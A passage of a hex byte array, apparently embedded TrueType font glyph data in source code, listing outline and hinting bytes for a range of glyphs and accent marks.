0xfe,0x1a,0x8f,0x0,0x1,0xfe,0x86,0x0,0x0,0x2,0x8c,0x5,0x55,0x0,0x3,0x0, + 0x1c,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x0,0x3,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x9,0x1,0x23, + 0x1,0x2,0x8c,0xfc,0x61,0x67,0x3,0x9a,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x0, + 0x5,0x0,0x22,0xff,0xfb,0x6,0x23,0x5,0x5a,0x0,0xb,0x0,0x18,0x0,0x1c,0x0, + 0x28,0x0,0x35,0x0,0x63,0xb7,0x26,0x20,0x1c,0x1b,0x1a,0x19,0x9,0x3,0x2f,0x2f, + 0x2e,0x2e,0x2e,0x2e,0x2f,0x2f,0xb7,0x32,0x20,0x2c,0x26,0x15,0x3,0xf,0x9,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x19,0x1c,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x13,0xb1,0x1b,0x1a,0x2f,0x3c,0x40,0xa,0x1d,0x6,0x1,0x1,0x1d,0x6, + 0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0x2f,0xb3,0x23, + 0x0,0x0,0x1,0x3f,0x3f,0xb7,0x2f,0x23,0x29,0x1d,0x12,0x6,0xc,0x0,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22, + 0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26, + 0x25,0x1,0x23,0x1,0x13,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36, + 0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26,0x1,0x4d,0xcd,0x5c, + 0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8,0x9f,0x45,0x3,0x47,0xfc,0x61, + 0x5d,0x3,0x99,0x3a,0xcd,0x5c,0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8, + 0x9f,0x46,0x5,0x5a,0x6b,0xeb,0xeb,0x74,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda, + 0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x43,0xfa,0xab,0x5,0x55,0xfd,0x5b,0x6b,0xeb,0xec, + 0x73,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x0, + 0x7,0x0,0x22,0xff,0xfb,0x8,0xfb,0x5,0x5a,0x0,0xb,0x0,0x18,0x0,0x1c,0x0, + 0x28,0x0,0x35,0x0,0x41,0x0,0x4e,0x0,0x81,0x40,0xa,0x3f,0x39,0x26,0x20,0x1c, + 0x1b,0x1a,0x19,0x9,0x3,0x2f,0x2f,0x2e,0x2e,0x2e,0x2e,0x2f,0x2f,0x2f,0x2f,0x40, + 0xc,0x4b,0x39,0x45,0x3f,0x32,0x20,0x2c,0x26,0x15,0x3,0xf,0x9,0x10,0xcd,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x19,0x1c,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x1b,0x1a,0x2f,0x3c,0x40,0xd,0x36,0x1d,0x6,0x1, + 0x1,0x36,0x1d,0x6,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13, + 0x14,0x2f,0x2f,0x2f,0xb5,0x3c,0x0,0x23,0x0,0x0,0x1,0x3f,0x3f,0x3f,0x40,0xc, + 0x48,0x3c,0x42,0x36,0x2f,0x23,0x29,0x1d,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6, + 0x23,0x22,0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2, + 0x34,0x26,0x25,0x1,0x23,0x1,0x13,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35, + 0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26,0x25,0x32, + 0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16, + 0x33,0x32,0x3d,0x2,0x34,0x26,0x1,0x4d,0xcd,0x5c,0x5c,0xbc,0xd3,0x69,0x6b,0xbe, + 0x94,0x40,0x43,0xc8,0x9f,0x45,0x3,0x47,0xfc,0x61,0x5d,0x3,0x99,0x3a,0xcd,0x5c, + 0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8,0x9f,0x46,0x2,0x4a,0xcc,0x5d, + 0x5c,0xbd,0xd3,0x69,0x6b,0xbe,0x93,0x41,0x44,0xc7,0xa0,0x46,0x5,0x5a,0x6b,0xeb, + 0xeb,0x74,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34, + 0x43,0xfa,0xab,0x5,0x55,0xfd,0x5b,0x6b,0xeb,0xec,0x73,0x76,0xed,0xd9,0x79,0x48, + 0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x48,0x6b,0xeb,0xec,0x73,0x76,0xed, + 0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x0,0x0,0x1,0xff, + 0x78,0xfe,0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x0,0x1,0x0,0x3,0x2,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x3,0x33,0x1,0x23,0x88,0x73,0x4,0xb0, + 0x72,0x5,0x55,0xf9,0x11,0x0,0x2,0x0,0xfa,0x4,0x66,0x3,0x6,0x4,0xe8,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0, + 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2, + 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35, + 0x1,0x94,0x9a,0x2,0xc,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1, + 0xb0,0x4,0x66,0x2,0x4a,0x4,0xe8,0x0,0x3,0x0,0x1b,0xb1,0x3,0x2,0x2f,0x3c, + 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1, + 0x3,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x2,0x4a,0x9a,0x4,0xe8,0x82, + 0x82,0x0,0x2,0x1,0x63,0x4,0x1b,0x2,0x9d,0x5,0x55,0x0,0x7,0x0,0xf,0x0, + 0x2f,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa,0x6,0x10,0xcd,0x10,0xcd,0x0, + 0xb7,0x4,0x1,0x1,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14, + 0x2f,0xb1,0x0,0x1,0x3f,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34, + 0x2,0x0,0x9d,0x9d,0x9d,0x9d,0x59,0x59,0x59,0x5,0x55,0x9d,0x9d,0x9d,0x9d,0x48, + 0x55,0x55,0x55,0x55,0x0,0x0,0x1,0x1,0x8b,0x4,0x30,0x2,0xe2,0x5,0x47,0x0, + 0x3,0x0,0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1, + 0x1,0x3,0x2,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x31,0x30,0x1,0x17,0x5,0x27,0x2,0x9a,0x48,0xfe,0xd9,0x30,0x5,0x47, + 0x62,0xb5,0x4a,0x0,0x1,0x1,0x1e,0x4,0x30,0x2,0x75,0x5,0x47,0x0,0x3,0x0, + 0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1,0x1,0x3, + 0x2,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x66,0x1,0xf,0x31,0xfe,0xda,0x5,0x47,0xcd, + 0x4a,0xb5,0x0,0x0,0x1,0x0,0xf9,0x4,0x31,0x3,0x6,0x5,0x49,0x0,0x5,0x0, + 0x27,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40, + 0xd,0x1,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x5,0x7,0x27,0x7,0x27,0x2,0x0, + 0x1,0x6,0x38,0xce,0xce,0x39,0x5,0x49,0xd1,0x47,0x98,0x98,0x47,0x0,0x1,0x0, + 0xf9,0x4,0x31,0x3,0x6,0x5,0x49,0x0,0x5,0x0,0x27,0xb5,0x5,0x4,0x3,0x2, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xd,0x1,0x1,0x5,0x4,0x3, + 0x2,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x31,0x30,0x1,0x25,0x37,0x17,0x37,0x17,0x2,0x0,0xfe,0xf9,0x39,0xce,0xce,0x38, + 0x4,0x31,0xd1,0x47,0x98,0x98,0x47,0x0,0x1,0x0,0xf7,0x4,0x36,0x3,0xa,0x5, + 0x30,0x0,0x9,0x0,0x27,0xb3,0x6,0x5,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb4, + 0x0,0x6,0x5,0x1,0x3,0x17,0x2f,0x3c,0xb5,0x8,0x1,0x8,0x1,0x2,0x0,0x13, + 0x11,0x12,0x39,0x13,0x2f,0xb1,0x3,0x8,0x10,0xcd,0x31,0x30,0x13,0x33,0x16,0x33, + 0x32,0x37,0x33,0x6,0x23,0x22,0xf7,0x61,0x1f,0x89,0x8a,0x1e,0x62,0x28,0xe2,0xe1, + 0x5,0x30,0x8d,0x8d,0xfa,0x0,0x1,0x0,0xeb,0x4,0x4c,0x3,0x14,0x4,0xff,0x0, + 0x11,0x0,0x30,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0xc, + 0x3,0x1,0x1,0xc,0xa,0x9,0x3,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb3,0x10,0x3,0x7,0xc,0x10,0xcd,0x10, + 0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7,0x27,0x36,0x33, + 0x32,0x17,0x16,0x33,0x32,0x2,0xc4,0x50,0x47,0x58,0x2e,0x50,0x4e,0x1f,0x2a,0x25, + 0x50,0x49,0x5a,0x29,0x53,0x57,0x17,0x27,0x4,0xfc,0x32,0x7e,0x24,0x22,0x42,0x33, + 0x7c,0x22,0x24,0x0,0x2,0x1,0x25,0x4,0x2d,0x3,0x64,0x5,0x45,0x0,0x3,0x0, + 0x7,0x0,0x2d,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0x1,0x1,0x7,0x6,0x5,0x4,0x3,0x2,0x1, + 0x0,0x8,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30, + 0x1,0x17,0x7,0x27,0x25,0x17,0x7,0x27,0x2,0xc,0x4c,0xff,0x34,0x1,0xf3,0x4c, + 0xff,0x34,0x5,0x45,0x54,0xc4,0x40,0xd8,0x54,0xc4,0x40,0x0,0x1,0x1,0x93,0xfe, + 0xa3,0x2,0x6d,0xff,0x9c,0x0,0x3,0x0,0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0xb,0x1,0x1,0x3,0x2,0x1,0x0,0x4,0x0,0x0,0x3,0x0, + 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x5,0x17,0x7,0x27,0x2,0xc, + 0x61,0x8b,0x4f,0x64,0x36,0xc3,0x2a,0x0,0x1,0x2,0x15,0xfe,0xa0,0x3,0x33,0x0, + 0x0,0x0,0xd,0x0,0x32,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0xc,0x1,0x0,0x7,0x10, + 0xc0,0xc0,0xc4,0xb1,0x3,0xc,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x9, + 0xa,0x1,0xa,0x8,0x7,0x3,0x1,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f, + 0xb1,0x5,0xa,0x10,0xcd,0x31,0x30,0x21,0x33,0x6,0x15,0x14,0x33,0x32,0x37,0x15, + 0x6,0x23,0x22,0x35,0x34,0x2,0x9f,0x68,0x9d,0x7d,0x26,0x26,0x33,0x2a,0xc1,0x5a, + 0x50,0x5d,0x12,0x5a,0x11,0x9f,0x72,0x0,0x1,0x1,0x5,0x4,0x6a,0x2,0xfb,0x4, + 0xde,0x0,0x3,0x0,0x1b,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0x31,0x30, + 0x1,0x21,0x15,0x21,0x1,0x5,0x1,0xf6,0xfe,0xa,0x4,0xde,0x74,0x0,0x3,0x0, + 0x44,0xff,0xf2,0x5,0xb2,0x5,0x63,0x0,0x1c,0x0,0x28,0x0,0x34,0x0,0x61,0xb7, + 0x26,0x20,0x1c,0xf,0xe,0x8,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2f,0x2f, + 0xb5,0x32,0x20,0x2c,0x26,0x16,0x8,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0, + 0x1,0x2f,0x3c,0xb1,0xf,0xe,0x2f,0x3c,0xb5,0x5,0x1,0x5,0x1,0x0,0x0,0x13, + 0x11,0x12,0x39,0x13,0x2f,0xb7,0xb,0x1,0x1,0xb,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x39,0x13,0x14,0x2f,0xb3,0x23,0x0,0x1d,0x1,0x3f,0x3f,0xb7,0x2f,0x23, + 0x29,0x1d,0x19,0x5,0x13,0xb,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x33,0x7,0x14,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x21,0x20,0x15,0x17,0x23, + 0x35,0x34,0x26,0x23,0x22,0x6,0x15,0x10,0x16,0x33,0x32,0x36,0x35,0x3,0x20,0x0, + 0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x0,0x5,0x22,0x0,0x11,0x10,0x0,0x33, + 0x32,0x0,0x11,0x10,0x0,0x3,0xdb,0x67,0x1,0x71,0xe0,0xcc,0x6f,0x72,0x1,0x9, + 0x1,0x7,0x1,0x67,0x3b,0x6c,0xbe,0x51,0x36,0xa3,0x9d,0x4b,0xdf,0x1,0x1e,0x1, + 0x97,0xfe,0x69,0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a, + 0x1,0x66,0xfd,0xfc,0x1,0x65,0xfe,0x9c,0x2,0x39,0x24,0xa0,0x51,0x8c,0x1,0x2, + 0x1,0x15,0x77,0xe3,0x1c,0x1e,0x58,0x30,0x3a,0x87,0xfe,0xc3,0x6a,0x2c,0x5c,0x3, + 0x5e,0xfe,0x68,0xfe,0xe0,0xfe,0xe0,0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1, + 0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe,0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3, + 0x1,0x6d,0x0,0x0,0x4,0x0,0x44,0xff,0xf2,0x5,0xb2,0x5,0x63,0x0,0x10,0x0, + 0x18,0x0,0x24,0x0,0x30,0x0,0x8f,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x9,0x8,0x2f, + 0x3c,0xb5,0x11,0x18,0x10,0xf,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xb,0xa,0x8, + 0x10,0xdd,0x3c,0xb1,0x22,0x1,0x10,0xc4,0xb2,0x1c,0x4,0x8,0x10,0xc4,0xc4,0xb7, + 0x17,0x12,0xe,0xd,0x2,0x5,0xa,0xf,0x11,0x12,0x17,0x39,0xb2,0x6,0x8,0xa, + 0x11,0x12,0x39,0xb5,0x2e,0x1c,0x28,0x22,0x14,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x0,0xb4,0x0,0x10,0xa,0x9,0x3,0x17,0x2f,0x3c,0xb1,0x11,0x12,0x2f,0x3c,0xb1, + 0x2,0x1,0x2f,0x3c,0xb3,0xf,0xe,0xd,0x12,0x10,0xdd,0x3c,0x3c,0xb2,0x18,0x17, + 0x1,0x10,0xdd,0x3c,0xb3,0xb,0x8,0xd,0x9,0x11,0x12,0x39,0x39,0xb2,0x6,0x12, + 0xd,0x11,0x12,0x39,0xb3,0x1f,0x0,0x19,0x1,0x3f,0x3f,0xb3,0x2b,0x1f,0x25,0x19, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x21,0x32,0x15,0x14,0x7,0x16,0x1d,0x1, + 0x23,0x35,0x34,0x2b,0x1,0x21,0x19,0x1,0x33,0x32,0x35,0x34,0x26,0x23,0x21,0x13, + 0x20,0x0,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x0,0x5,0x22,0x0,0x11,0x10, + 0x0,0x33,0x32,0x0,0x11,0x10,0x0,0x1,0xc4,0x1,0x80,0xee,0x6b,0x60,0x66,0x72, + 0x1d,0xfe,0xf8,0xfc,0xa6,0x32,0x55,0xfe,0xe5,0xd3,0x1,0x1e,0x1,0x97,0xfe,0x69, + 0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a,0x1,0x66,0xfd, + 0xfc,0x1,0x65,0xfe,0x9c,0x1,0x2c,0x3,0xb,0xe4,0xa6,0x24,0x21,0x75,0xc7,0xb3, + 0x7d,0xfe,0xd0,0x1,0x8c,0x86,0x63,0x3a,0x1,0x88,0xfe,0x68,0xfe,0xe0,0xfe,0xe0, + 0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1,0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe, + 0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3,0x1,0x6d,0x0,0x1,0x0,0x0,0x1, + 0x9a,0x2,0x38,0x3,0xd2,0x0,0xb,0x0,0x14,0xb0,0x9,0x2f,0xb1,0x3,0x9,0x10, + 0xcd,0x0,0xb1,0x0,0x2,0x3f,0xb1,0x6,0x0,0x10,0xcd,0x31,0x30,0x1,0x32,0x16, + 0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,0x1,0x1e,0x75,0xa5,0xa6,0x74,0x76, + 0xa8,0xa7,0x3,0xd2,0xa7,0x75,0x75,0xa7,0xa7,0x75,0x76,0xa6,0x0,0x0,0x2,0x0, + 0x0,0xff,0xcb,0x4,0x27,0x5,0x8b,0x0,0x3,0x0,0x7,0x0,0x51,0xb7,0x7,0x6, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb3, + 0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0, + 0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xc,0x1,0x1,0x7,0x6,0x5,0x3,0x1, + 0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb6,0x1,0x1, + 0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x9,0x7, + 0x2,0x14,0x2,0x13,0xfd,0xed,0xfd,0xec,0x2,0x14,0xfe,0xaf,0x1,0x51,0x1,0x51, + 0x5,0x8b,0xfd,0x20,0xfd,0x20,0x2,0xe0,0x1,0xd0,0xfe,0x30,0xfe,0x31,0x1,0xcf, + 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x55,0x0,0x3,0x0,0x6,0x0, + 0x33,0xb6,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb7,0x1,0x2,0x1,0x0,0x4,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x13,0xb1,0x0,0x3,0x2f,0x3c,0xb4,0x1,0x6,0x1,0x2,0x0,0x13,0x11,0x12, + 0x39,0x13,0x31,0x30,0x31,0x1,0x33,0x1,0x25,0x21,0x1,0x2,0x24,0x96,0x2,0x27, + 0xfb,0xe8,0x3,0x4d,0xfe,0x59,0x5,0x55,0xfa,0xab,0x82,0x4,0x28,0x0,0x1,0x0, + 0x0,0x0,0xe6,0x3,0x78,0x4,0x75,0x0,0x13,0x0,0x70,0xb4,0x13,0x12,0xf,0xe, + 0x3,0x17,0x2f,0x3c,0xb4,0x9,0x8,0x5,0x4,0x3,0x17,0x2f,0x3c,0x40,0xf,0x11, + 0x10,0xd,0xc,0xb,0xa,0x7,0x6,0x3,0x2,0x1,0x0,0xc,0x4,0xe,0x11,0x12, + 0x17,0x39,0x0,0xb4,0x10,0xf,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x0,0x13,0x4, + 0x3,0x3,0x17,0x2f,0x3c,0xb5,0xe,0xd,0xa,0x9,0x3,0x7,0x10,0x17,0xdd,0x3c, + 0xb5,0x12,0x11,0x6,0x5,0x3,0x3,0x10,0x17,0xdd,0x3c,0xb5,0x1,0xc,0xb,0x9, + 0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb7,0x1,0x1,0x2,0x1,0x1,0x0,0x2, + 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x37,0x17,0x7,0x21, + 0x15,0x21,0x7,0x21,0x15,0x21,0x7,0x27,0x37,0x21,0x35,0x21,0x37,0x21,0x35,0x1, + 0xea,0x70,0x62,0x5c,0x1,0x18,0xfe,0xae,0x5c,0x1,0xae,0xfe,0x18,0x72,0x61,0x5e, + 0xfe,0xe5,0x1,0x55,0x5c,0xfe,0x4f,0x3,0x8e,0xe7,0x26,0xc1,0x7d,0xc1,0x7d,0xed, + 0x26,0xc7,0x7d,0xc1,0x7d,0x0,0x1,0x0,0x0,0x0,0x0,0x5,0x55,0x6,0xa1,0x0, + 0x14,0x0,0x62,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x14,0x14, + 0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x5,0x4,0x3,0x2, + 0x11,0x1,0x6,0x11,0x12,0x17,0x39,0x0,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x8,0x7, + 0x2f,0x3c,0xb1,0x0,0x14,0x2f,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0xb2,0x2, + 0x1,0x14,0x10,0xdd,0x3c,0x40,0xd,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa, + 0x9,0xa,0x5,0x3,0x11,0x12,0x17,0x39,0xb4,0x1,0x13,0x2,0x0,0x7,0x11,0x14, + 0x12,0x39,0x14,0x31,0x30,0x1,0x15,0x21,0x1,0x23,0x3,0x23,0x35,0x21,0x13,0x16, + 0x1f,0x2,0x33,0x36,0x3f,0x2,0x1b,0x1,0x5,0x55,0xfe,0x6c,0xfe,0x3e,0xab,0xac, + 0xa8,0x1,0x1a,0x4f,0x9,0x15,0x18,0x7,0xa,0x7,0x2,0x20,0x34,0x5b,0xe1,0x6, + 0xa1,0x82,0xf9,0xe1,0x2,0x69,0x82,0xfe,0xf2,0x1e,0x65,0x77,0x20,0x22,0x8,0x87, + 0xd8,0x1,0x3c,0x3,0x19,0x0,0x1,0x0,0x0,0xfe,0x2,0x2,0x6a,0x6,0x0,0x0, + 0x17,0x0,0x63,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x13,0x12,0x6,0x10,0xdd,0x3c,0xb2, + 0x1,0x0,0x6,0x10,0xc0,0xc0,0xb2,0xd,0xc,0x12,0x10,0xc0,0xc0,0x0,0xb4,0x1, + 0x16,0x0,0x3,0x0,0x13,0x10,0xc0,0xc4,0x13,0xb5,0x1,0xd,0xc,0xa,0x1,0x0, + 0x13,0x10,0xc4,0xc0,0xc0,0x13,0x40,0xa,0x1,0x1,0x13,0x6,0x1,0x3,0x0,0x0, + 0x3,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x12,0x7,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0xb3,0xf,0xa,0x3,0x16, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x11,0x37,0x16,0x33,0x32,0x36,0x35,0x11,0x34,0x36, + 0x33,0x32,0x17,0x7,0x26,0x23,0x22,0x15,0x7,0x11,0x14,0x6,0x23,0x22,0x20,0x33, + 0x27,0x4b,0x2a,0x60,0x95,0x38,0x4e,0x20,0x33,0x26,0x75,0x1,0x67,0xa2,0x3d,0xfe, + 0x16,0x7c,0xe,0x55,0x9a,0x5,0x1,0xf0,0x9c,0x17,0x7c,0x11,0xca,0x64,0xfb,0x3c, + 0xf1,0x99,0x0,0x0,0x2,0x0,0x0,0x1,0x78,0x3,0xd8,0x3,0xea,0x0,0x12,0x0, + 0x25,0x0,0x59,0xb7,0x1d,0x1c,0x14,0x13,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x14,0x1f,0x16,0xc,0x1,0x1,0x1f,0x1d,0x1c,0x16, + 0x14,0x13,0xc,0xa,0x1,0x0,0xa,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, + 0x39,0x13,0x14,0x2f,0x2f,0x2f,0xb6,0x1,0x1,0x9,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x39,0x13,0x14,0xb1,0x3,0x2,0x3f,0xb7,0x24,0x16,0x1a,0x1f,0x11,0x3, + 0x7,0xc,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x27,0x36,0x33, + 0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26,0x23,0x22,0x3, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f,0x1,0x26, + 0x23,0x22,0x54,0x54,0x6d,0xaa,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x73,0xab,0x4c, + 0x62,0x76,0x55,0x36,0x65,0x52,0x54,0x6c,0xab,0x4d,0x99,0x8d,0x3d,0x65,0x56,0x56, + 0x72,0xac,0x4b,0x63,0x76,0x55,0x35,0x67,0x2,0xc8,0x36,0xe8,0x4b,0x45,0x94,0x32, + 0xe4,0x2f,0x38,0x29,0xfe,0x14,0x36,0xe8,0x4b,0x45,0x94,0x33,0xe3,0x2f,0x38,0x29, + 0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3,0x77,0x4,0x8b,0x0,0x6,0x0,0x3f,0xb1, + 0x6,0x5,0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb2,0x2,0x1, + 0x5,0x11,0x12,0x39,0x0,0x40,0xc,0x1,0x1,0x6,0x5,0x4,0x3,0x2,0x5,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x1,0x0, + 